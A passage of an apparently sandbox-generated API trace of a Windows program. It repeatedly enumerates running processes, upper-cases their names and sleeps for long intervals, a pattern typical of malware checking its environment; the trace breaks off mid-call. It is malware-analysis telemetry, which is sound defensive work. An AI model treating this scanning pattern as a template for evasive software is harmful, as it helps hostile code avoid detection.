PathFindFileNameW (pszPath="TASKENG.EXE") returned="TASKENG.EXE" [0261.833] lstrcpyW (in: lpString1=0x2b4f928, lpString2="TASKENG.EXE" | out: lpString1="TASKENG.EXE") returned="TASKENG.EXE" [0261.833] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0xe84, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0261.833] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="OfficeC2RClient.exe" | out: lpString1="OfficeC2RClient.exe") returned="OfficeC2RClient.exe" [0261.833] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0261.833] CharUpperBuffW (in: lpsz="OfficeC2RClient.exe", cchLength=0x13 | out: lpsz="OFFICEC2RCLIENT.EXE") returned 0x13 [0261.833] PathFindFileNameW (pszPath="OFFICEC2RCLIENT.EXE") returned="OFFICEC2RCLIENT.EXE" [0261.833] lstrcpyW (in: lpString1=0x2b4f928, lpString2="OFFICEC2RCLIENT.EXE" | out: lpString1="OFFICEC2RCLIENT.EXE") returned="OFFICEC2RCLIENT.EXE" [0261.834] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0xe84, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 0 [0261.834] CloseHandle (hObject=0x2dc) returned 1 [0261.834] Sleep (dwMilliseconds=0x1b7740) [0271.849] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2c4 [0271.852] Process32FirstW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0271.853] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0271.853] lstrlenW (lpString="[System Process]") returned 16 [0271.853] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0271.853] PathFindFileNameW (pszPath="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0271.853] lstrcpyW (in: lpString1=0x2b4f928, lpString2="[SYSTEM PROCESS]" | out: lpString1="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0271.853] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x61, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0271.854] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="System" | out: lpString1="System") returned="System" [0271.854] lstrlenW (lpString="System") returned 6 [0271.854] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0271.854] PathFindFileNameW (pszPath="SYSTEM") returned="SYSTEM" [0271.854] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SYSTEM" | out: lpString1="SYSTEM") returned="SYSTEM" [0271.854] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0271.855] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0271.855] lstrlenW (lpString="smss.exe") returned 8 [0271.855] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0271.855] PathFindFileNameW (pszPath="SMSS.EXE") returned="SMSS.EXE" [0271.855] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SMSS.EXE" | out: lpString1="SMSS.EXE") returned="SMSS.EXE" [0271.855] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.856] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0271.856] lstrlenW (lpString="csrss.exe") returned 9 [0271.856] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0271.856] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0271.856] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0271.856] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0271.857] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0271.857] lstrlenW (lpString="wininit.exe") returned 11 [0271.857] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0271.857] PathFindFileNameW (pszPath="WININIT.EXE") returned="WININIT.EXE" [0271.857] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WININIT.EXE" | out: lpString1="WININIT.EXE") returned="WININIT.EXE" [0271.857] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.858] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0271.858] lstrlenW (lpString="csrss.exe") returned 9 [0271.858] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0271.858] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0271.858] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0271.858] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0271.859] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0271.859] lstrlenW (lpString="winlogon.exe") returned 12 [0271.859] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0271.859] PathFindFileNameW (pszPath="WINLOGON.EXE") returned="WINLOGON.EXE" [0271.859] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WINLOGON.EXE" | out: lpString1="WINLOGON.EXE") returned="WINLOGON.EXE" [0271.859] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0271.860] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0271.860] lstrlenW (lpString="services.exe") returned 12 [0271.860] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0271.860] PathFindFileNameW (pszPath="SERVICES.EXE") returned="SERVICES.EXE" [0271.860] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SERVICES.EXE" | out: lpString1="SERVICES.EXE") returned="SERVICES.EXE" [0271.860] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0271.861] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0271.861] lstrlenW (lpString="lsass.exe") returned 9 [0271.861] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0271.861] PathFindFileNameW (pszPath="LSASS.EXE") returned="LSASS.EXE" [0271.861] lstrcpyW (in: lpString1=0x2b4f928, lpString2="LSASS.EXE" | out: lpString1="LSASS.EXE") returned="LSASS.EXE" [0271.861] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.862] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0271.862] lstrlenW (lpString="svchost.exe") returned 11 [0271.862] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0271.862] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0271.862] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0271.862] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.863] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0271.863] lstrlenW (lpString="svchost.exe") returned 11 [0271.863] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0271.863] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0271.863] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0271.863] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0271.865] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0271.865] lstrlenW (lpString="dwm.exe") returned 7 [0271.865] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0271.865] PathFindFileNameW (pszPath="DWM.EXE") returned="DWM.EXE" [0271.865] lstrcpyW (in: lpString1=0x2b4f928, lpString2="DWM.EXE" | out: lpString1="DWM.EXE") returned="DWM.EXE" [0271.865] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.866] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0271.866] lstrlenW (lpString="svchost.exe") returned 11 [0271.866] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0271.866] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0271.866] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0271.866] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.867] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0271.867] lstrlenW (lpString="svchost.exe") returned 11 [0271.867] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0271.867] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0271.867] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0271.867] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.867] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0271.867] lstrlenW (lpString="svchost.exe") returned 11 [0271.867] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0271.867] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0271.867] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0271.867] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.868] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0271.868] lstrlenW (lpString="svchost.exe") returned 11 [0271.868] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0271.868] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0271.868] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0271.868] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.869] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0271.869] lstrlenW (lpString="svchost.exe") returned 11 [0271.869] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0271.869] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0271.869] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0271.869] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.869] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0271.869] lstrlenW (lpString="svchost.exe") returned 11 [0271.869] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0271.870] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0271.870] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0271.870] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0271.870] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0271.870] lstrlenW (lpString="spoolsv.exe") returned 11 [0271.870] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0271.870] PathFindFileNameW (pszPath="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0271.870] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SPOOLSV.EXE" | out: lpString1="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0271.870] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.871] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0271.871] lstrlenW (lpString="svchost.exe") returned 11 [0271.871] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0271.871] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0271.871] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0271.871] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0271.872] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0271.872] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0271.872] CharUpperBuffW (in: lpsz="OfficeClickToRun.exe", cchLength=0x14 | out: lpsz="OFFICECLICKTORUN.EXE") returned 0x14 [0271.872] PathFindFileNameW (pszPath="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0271.872] lstrcpyW (in: lpString1=0x2b4f928, lpString2="OFFICECLICKTORUN.EXE" | out: lpString1="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0271.872] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.872] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0271.872] lstrlenW (lpString="svchost.exe") returned 11 [0271.872] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0271.872] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0271.872] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0271.872] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0271.873] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="sihost.exe" | out: lpString1="sihost.exe") returned="sihost.exe" [0271.873] lstrlenW (lpString="sihost.exe") returned 10 [0271.873] CharUpperBuffW (in: lpsz="sihost.exe", cchLength=0xa | out: lpsz="SIHOST.EXE") returned 0xa [0271.873] PathFindFileNameW (pszPath="SIHOST.EXE") returned="SIHOST.EXE" [0271.873] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SIHOST.EXE" | out: lpString1="SIHOST.EXE") returned="SIHOST.EXE" [0271.873] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0271.874] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="taskhostw.exe" | out: lpString1="taskhostw.exe") returned="taskhostw.exe" [0271.874] lstrlenW (lpString="taskhostw.exe") returned 13 [0271.874] CharUpperBuffW (in: lpsz="taskhostw.exe", cchLength=0xd | out: lpsz="TASKHOSTW.EXE") returned 0xd [0271.874] PathFindFileNameW (pszPath="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0271.874] lstrcpyW (in: lpString1=0x2b4f928, lpString2="TASKHOSTW.EXE" | out: lpString1="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0271.874] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0271.874] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0271.874] lstrlenW (lpString="explorer.exe") returned 12 [0271.875] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0271.875] PathFindFileNameW (pszPath="EXPLORER.EXE") returned="EXPLORER.EXE" [0271.875] lstrcpyW (in: lpString1=0x2b4f928, lpString2="EXPLORER.EXE" | out: lpString1="EXPLORER.EXE") returned="EXPLORER.EXE" [0271.875] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0271.875] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="RuntimeBroker.exe" | out: lpString1="RuntimeBroker.exe") returned="RuntimeBroker.exe" [0271.875] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0271.875] CharUpperBuffW (in: lpsz="RuntimeBroker.exe", cchLength=0x11 | out: lpsz="RUNTIMEBROKER.EXE") returned 0x11 [0271.875] PathFindFileNameW (pszPath="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0271.875] lstrcpyW (in: lpString1=0x2b4f928, lpString2="RUNTIMEBROKER.EXE" | out: lpString1="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0271.875] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0271.876] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="ShellExperienceHost.exe" | out: lpString1="ShellExperienceHost.exe") returned="ShellExperienceHost.exe" [0271.876] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0271.876] CharUpperBuffW (in: lpsz="ShellExperienceHost.exe", cchLength=0x17 | out: lpsz="SHELLEXPERIENCEHOST.EXE") returned 0x17 [0271.876] PathFindFileNameW (pszPath="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0271.876] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHELLEXPERIENCEHOST.EXE" | out: lpString1="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0271.876] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0271.877] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SearchUI.exe" | out: lpString1="SearchUI.exe") returned="SearchUI.exe" [0271.877] lstrlenW (lpString="SearchUI.exe") returned 12 [0271.877] CharUpperBuffW (in: lpsz="SearchUI.exe", cchLength=0xc | out: lpsz="SEARCHUI.EXE") returned 0xc [0271.877] PathFindFileNameW (pszPath="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0271.877] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SEARCHUI.EXE" | out: lpString1="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0271.877] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commandsxeroxrelationship.exe")) returned 1 [0271.877] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="commandsxeroxrelationship.exe" | out: lpString1="commandsxeroxrelationship.exe") returned="commandsxeroxrelationship.exe" [0271.877] lstrlenW (lpString="commandsxeroxrelationship.exe") returned 29 [0271.877] CharUpperBuffW (in: lpsz="commandsxeroxrelationship.exe", cchLength=0x1d | out: lpsz="COMMANDSXEROXRELATIONSHIP.EXE") returned 0x1d [0271.877] PathFindFileNameW (pszPath="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0271.877] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COMMANDSXEROXRELATIONSHIP.EXE" | out: lpString1="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0271.877] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nice cu.exe")) returned 1 [0271.878] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="nice cu.exe" | out: 